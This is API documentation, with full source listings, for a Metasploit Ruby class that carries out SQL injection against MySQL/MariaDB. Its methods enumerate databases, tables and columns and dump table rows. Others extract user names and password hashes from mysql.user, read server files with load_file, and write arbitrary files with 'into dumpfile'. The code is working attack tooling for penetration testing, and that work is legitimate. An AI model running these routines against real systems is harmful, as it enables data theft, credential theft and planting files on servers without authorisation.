Class: Msf::Exploit::SQLi::MySQLi::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/mysqli/common.rb

Direct Known Subclasses

BooleanBasedBlind, TimeBasedBlind

Constant Summary collapse

ENCODERS =

Encoders supported by MySQL/MariaDB Keys are MySQL/MariaDB function names, values are decoding procs in Ruby

{
  base64: {
    encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')',
    decode: proc { |data| Base64.decode64(data) }
  },
  hex: {
    encode: 'hex(^DATA^)',
    decode: proc { |data| Rex::Text.hex_to_raw(data) }
  }
}.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common

See SQLi::Common#initialize



28
29
30
31
32
33
34
35
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 28

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    # if it's a String or a Symbol, use a predefined encoder if it exists
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  super
end

Instance Method Details

#current_databaseObject

Query the current database name

@return [String] The name of the current database


49
50
51
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 49

def current_database
  call_function('database()')
end

#current_userObject

Query the current user

@return [String] The username of the current user


57
58
59
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 57

def current_user
  call_function('user()')
end

#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object

Query the given columns of the records of the given table, that satisfy an optional condition

@param table [String]  The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results


131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 131

def dump_table_fields(table, columns, condition = '', num_limit = 0)
  return '' if columns.empty?

  one_column = columns.length == 1
  if one_column
    columns = "ifnull(#{columns.first},'#{@null_replacement}')"
    columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
  else
    columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
      col = "ifnull(#{col},'#{@null_replacement}')"
      @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
    end.join(',') + ')'
  end
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = num_limit.to_i
  limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
  retrieved_data = nil
  if @safe
    # no group_concat, leak one row at a time
    row_count = run_sql("select count(1) from #{table}#{condition}").to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \
        "#{table}#{condition} limit #{current_row},1")
      else
        run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1")
      end
    end
  else
    # if limit > 0, an alias will be necessary
    if num_limit > 0
      alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
      if @truncation_length
        retrieved_data = truncated_query('select mid(group_concat(' \
        "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\
        "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\
        "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\
        " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      end
    else
      if @truncation_length
        retrieved_data = truncated_query('select mid(group_concat(' \
        "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \
        "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \
        " from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      end
    end
  end
  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_database_encoding(database = 'database()') ⇒ Object

Query the character encoding of the given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [String] The character encoding of the chosen database


74
75
76
77
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 74

def enum_database_encoding(database = 'database()')
  dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
                    "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
end

#enum_database_namesObject

Query the names of all the existing databases

@return [Array] An array of Strings, the database names


65
66
67
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 65

def enum_database_names
  dump_table_fields('information_schema.schemata', %w[schema_name]).flatten
end

#enum_dbms_usersArray

Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.

Returns:

  • (Array)

    an array of arrays representing rows, where each row contains two strings, the username and password



103
104
105
106
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 103

def enum_dbms_users
  # might require elevated privileges
  dump_table_fields('mysql.user', %w[User Password])
end

#enum_table_columns(table_name) ⇒ Object

Query the column names of the given table in the given database

@param table_name [String] the name of the table of which you want to query the column names, eg: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database


113
114
115
116
117
118
119
120
121
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 113

def enum_table_columns(table_name)
  table_schema_condition = ''
  if table_name.include?('.')
    database, table_name = table_name.split('.')
    table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}"
  end
  dump_table_fields('information_schema.columns', %w[column_name],
                    "table_name='#{table_name}'#{table_schema_condition}").flatten
end

#enum_table_names(database = 'database()') ⇒ Object

Query the names of the tables in a given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the table names in the given database


84
85
86
87
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 84

def enum_table_names(database = 'database()')
  dump_table_fields('information_schema.tables', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#enum_view_names(database = 'database()') ⇒ Object

Query the names of the views in a given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the view names in the given database


94
95
96
97
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 94

def enum_view_names(database = 'database()')
  dump_table_fields('information_schema.views', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#read_from_file(fpath, binary = false) ⇒ String

Attempt reading from a file on the filesystem, requires having the FILE privilege

Parameters:

  • fpath (String)

    The path of the file to read

  • binary (Boolean) (defaults to: false)

    Whether the target file is a binary one or not

Returns:

  • (String)

    The content of the file if reading was successful



223
224
225
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 223

def read_from_file(fpath, binary=false)
  call_function("load_file('#{fpath}')")
end

#test_vulnerableBoolean

Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them

Returns:

  • (Boolean)

    Whether the SQL injection check was successful



197
198
199
200
201
202
203
204
205
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 197

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  query_string = "'#{random_string}'"
  query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
  output = run_sql("select #{query_string}")
  return false if output.nil?
  (@encoder ? @encoder[:decode].call(output) : output) == random_string
end

#versionObject

Query the MySQL/MariaDB version

@return [String] The MySQL/MariaDB version in use


41
42
43
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 41

def version
  call_function('version()')
end

#write_to_file(fpath, data) ⇒ void

This method returns an undefined value.

Attempt writing data to the file at the given path

Parameters:

  • fpath (String)

    The path of the file to write to

  • data (String)

    The data to write to the given file



213
214
215
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 213

def write_to_file(fpath, data)
  raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
end